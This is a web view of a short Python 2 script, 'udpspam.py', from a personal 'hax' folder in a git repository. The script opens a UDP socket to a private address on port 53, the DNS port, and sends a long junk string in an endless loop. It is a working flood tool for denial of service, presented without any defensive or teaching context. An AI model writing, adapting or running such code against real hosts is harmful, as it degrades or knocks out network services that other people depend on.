]> git.somenet.org - pub/jan/scripts.git/blob - hax/udpspam.py
use bug to generate deltat-game-credits.
[pub/jan/scripts.git] / hax / udpspam.py
1 import socket
2
3 # initialize a socket, think of it as a cable
4 # SOCK_DGRAM specifies that this is UDP
5 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
6
7 # connect the socket, think of it as connecting the cable to the address location
8 s.connect(('10.11.0.254', 53))
9
10 PACKETDATA = 'SORRY.gdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \
11         f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \
12         f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsafasdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6'
13 #        f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \
14 #        f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \
15 #        f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6'
16
17 print len(PACKETDATA)
18
19 while (1 == 1):
20         s.send(PACKETDATA)
21         s.send(PACKETDATA)
22         s.send(PACKETDATA)
23         s.send(PACKETDATA)
24         s.send(PACKETDATA)
25         s.send(PACKETDATA)
26         s.send(PACKETDATA)
27         s.send(PACKETDATA)
28         s.send(PACKETDATA)
29         s.send(PACKETDATA)
30         s.send(PACKETDATA)
31         s.send(PACKETDATA)
32         s.send(PACKETDATA)
33         s.send(PACKETDATA)
34         s.send(PACKETDATA)
35         s.send(PACKETDATA)
36         s.send(PACKETDATA)
37
38 # close the socket
39 s.close()
40